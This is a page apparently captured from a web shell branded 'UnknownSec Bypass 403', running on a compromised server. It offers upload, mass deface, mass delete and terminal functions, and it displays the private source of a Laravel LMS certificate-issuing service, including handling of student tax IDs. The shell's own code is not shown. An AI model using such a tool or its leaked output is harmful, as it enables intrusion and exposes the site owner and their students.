UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
eagleead
/
app
/
Services
/
Environment
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
IssueCertificateService.php
<?php namespace EstudioLMS\Services\Environment; use EstudioLMS\Helpers\GetDataRecords; use EstudioLMS\Helpers\Helpers; use EstudioLMS\Repositories\Courses\Certificate\CertificateModelRepository; use EstudioLMS\Repositories\Courses\Certificate\CertificateTextRepository; use EstudioLMS\Repositories\Environment\CertificateIssuedRepository; use EstudioLMS\Repositories\Environment\HiredCourseRepository; use EstudioLMS\Repositories\Student\CourseHistoryInterface; use EstudioLMS\Services\Admin\ConfigurationServices; use File; use Illuminate\Contracts\Auth\Guard; use Session; /** * Class IssueCertificateService * @package EstudioLMS\Services\Environment */ class IssueCertificateService { /** * @var CertificateModelRepository */ private $certificateModel; /** * @var CertificateTextRepository */ private $certificateText; /** * @var HiredCourseRepository */ private $hired; /** * @var Guard */ private $auth; /** * @var CertificateIssuedRepository */ private $certificateIssued; /** * @var ConfigurationServices */ private $configurationServices; /** * @var CourseHistoryInterface */ private $courseHistory; /** * IssueCertificateService constructor. * @param Guard $auth * @param CertificateModelRepository $certificateModel * @param CertificateTextRepository $certificateText * @param HiredCourseRepository $hired * @param CertificateIssuedRepository $certificateIssued * @param ConfigurationServices $configurationServices * @param CourseHistoryInterface $courseHistory */ public function __construct( Guard $auth, CertificateModelRepository $certificateModel, CertificateTextRepository $certificateText, HiredCourseRepository $hired, CertificateIssuedRepository $certificateIssued, ConfigurationServices $configurationServices, CourseHistoryInterface $courseHistory ) { $this->certificateModel = $certificateModel; $this->certificateText = $certificateText; $this->hired = $hired; $this->auth = $auth; $this->certificateIssued = $certificateIssued; $this->configurationServices = $configurationServices; $this->courseHistory = $courseHistory; } /** * @param $courseId * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function issueCertificate($userId, $courseId) { if (File::exists(public_path() . '/preview/preview.pdf')) { unlink(public_path() . '/preview/preview.pdf'); } $pdf = \App::make('snappy.pdf.wrapper'); $pdf->loadFile(route('student.course.issue.preview.certificate', compact('courseId'))) ->setPaper('A4') ->setOrientation('landscape') ->setOption('margin-bottom', 5) ->save('preview/preview.pdf'); return view('admin.certificate.preview'); } /** * @return string */ public function getImage() { $file = $this->certificateModel->findByField('default', 1)->first(); $image = storage_path('resources/certificate/' . $file['background']); $ext = substr($file['background'], -4); if (!File::exists(public_path('assets/images/temp'))) { File::makeDirectory(public_path('assets/images/temp')); } else { File::cleanDirectory(public_path('assets/images/temp')); } $imageName = 'img_pvw' . Helpers::uniqueFileName() . $ext; $tmpImage = public_path('assets/images/temp/' . $imageName); File::copy($image, $tmpImage); return $imageName; } /** * @param $courseId * @param $userId * @return mixed */ public function getText($courseId, $userId) { $config = $this->configurationServices->configuration(); $data = $this->registerCertificate($courseId, $userId); $average = $this->calculateMedia($userId, $courseId); $locale = 'pt'; if (Session::has('lang')) { $locale = Session::get('lang'); } $find = $this->certificateText->findWhere([['id', '<>', 0]])->first(); $text = $this->certificateText->translateOrNew($find['id'], $locale); $constantes = [ '[STUDENT_NAME]', '[CERTIFICATE_ID]', '[COURSE_NAME]', '[AUTHOR_NAME]', '[COMPLETION_DATE]', '[SITENAME]', '[SITEURL]', '[WORKLOAD]', '[CPF]', '[PROG_CONTENT]', '[------]', '[MEDIA]' ]; $certificateData = $this->courseHistory->with(['course.user', 'customer']) ->findWhere([ ['user_id', '=', $userId], ['course_id', '=', $courseId] ]) ->first(); $values = [ $certificateData['customer']['name'], route('validate.certificate', [$data['token']]), $certificateData['course']['name'], $certificateData['course']['user']['name'], date('d/m/Y', strtotime($certificateData['completed_at'])), $config['site_name'], route('index'), $certificateData['course']['course_load'], $certificateData['customer']['cpf'], $certificateData['course']['programmatic_content'], '<div class="page-break" style="margin-top: 80px;"><p> </p></div>', $average ]; $src = 'src="' . \URL::to('/'); $text['certificate_text'] = str_replace($constantes, $values, $text['certificate_text']); $text['certificate_text'] = str_replace('src="', $src, $text['certificate_text']); $signature = 'storage/profiles/pictures/' . $certificateData['course']['user']['signature']; //Acho que aqui está invertido, a altura ficou com 300 e largura com 80, o que distorce uma assinatura, que geralmente tem mais largura e menos altura. //$text['certificate_text'] = str_replace('[TEACHER_SIGNATURE]', '<img alt="" src="' . \URL::to('/') . '/' . $signature . '" style="height:300px; width:80px" />', $text['certificate_text']); $text['certificate_text'] = str_replace('[TEACHER_SIGNATURE]', '<img alt="" src="' . \URL::to('/') . '/' . $signature . '" style="height:80px; width:300px" />', $text['certificate_text']); return $text; } /** * @param $courseId * @param $userId * @return mixed */ public function registerCertificate($courseId, $userId) { $check = $this->certificateIssued->findWhere( [ ['user_id', '=', $userId], ['course_id', '=', $courseId], ] )->first(); if (!$check) { $token = bin2hex(openssl_random_pseudo_bytes(64)); $data = [ 'user_id' => $userId, 'course_id' => $courseId, 'issue_date' => date('Y-m-d H:i:s'), 'token' => $token ]; $this->certificateIssued->create($data); } else { $check = $this->certificateIssued->update(['issue_date' => date('Y-m-d H:i:s')], $check['id']); } return $check; } /** * @param $token * @return mixed */ public function validateCertificate($token) { $certificate = $this->certificateIssued ->with(['course', 'user']) ->findWhere([ ['token', '=', $token] ])->first(); return $certificate; } /** * @param $userId * @param $courseId * @return array */ public function calculateMedia($userId, $courseId) { $student = \DB::table('users')->find($userId); $evaluations = \DB::table('course_resources') ->where('course_id', $courseId) ->where('consists_average', 1) ->get(); $getDataRecord = app(GetDataRecords::class); $quizService = app(QuizService::class); $studentService = app(StudentService::class); $count = 1; $collect = [ 'name' => $student->name, 'email' => $student->email, ]; $sumGrades = 0; foreach ($evaluations as $key => $evaluation) { switch ($evaluation->resource_type_id) { case 9: $course = $getDataRecord->getCourseById($evaluation->course_id); $module = $getDataRecord->getModuleById($evaluation->module_id); $resource = $getDataRecord->getResourceByResourceId(9, $evaluation->resource_id); $resourceType = $getDataRecord->getResourceTypeById($evaluation->resource_type_id); $grade = $quizService->getFinalNote( $resource->average_rule, $userId, $course->slug, $module->slug, $resource->slug, $resourceType->slug )['final_note'] ?? 0; $sumGrades += $grade; $collect['N_' . $count] = $grade; $collect['evaluation_name_' . $count] = $resource->title; break; case 15: $resource = $getDataRecord->getResourceByResourceId(15, $evaluation->resource_id); $grade = \DB::table('task_sents') ->where('course_id', '=', $courseId) ->where('task_lesson_id', '=', $resource->id) ->where('user_id', '=', $userId) ->first()->final_note ?? 0; $sumGrades += $grade; $collect['N_' . $count] = $grade; $collect['evaluation_name_' . $count] = $resource->title; break; } $count++; } if($sumGrades == 0) { $average = trans('admin_certificate.labelNoMedia'); } else { $average = round($sumGrades / --$count, 2); } return $average; } }
Copyright © 2026 - UnknownSec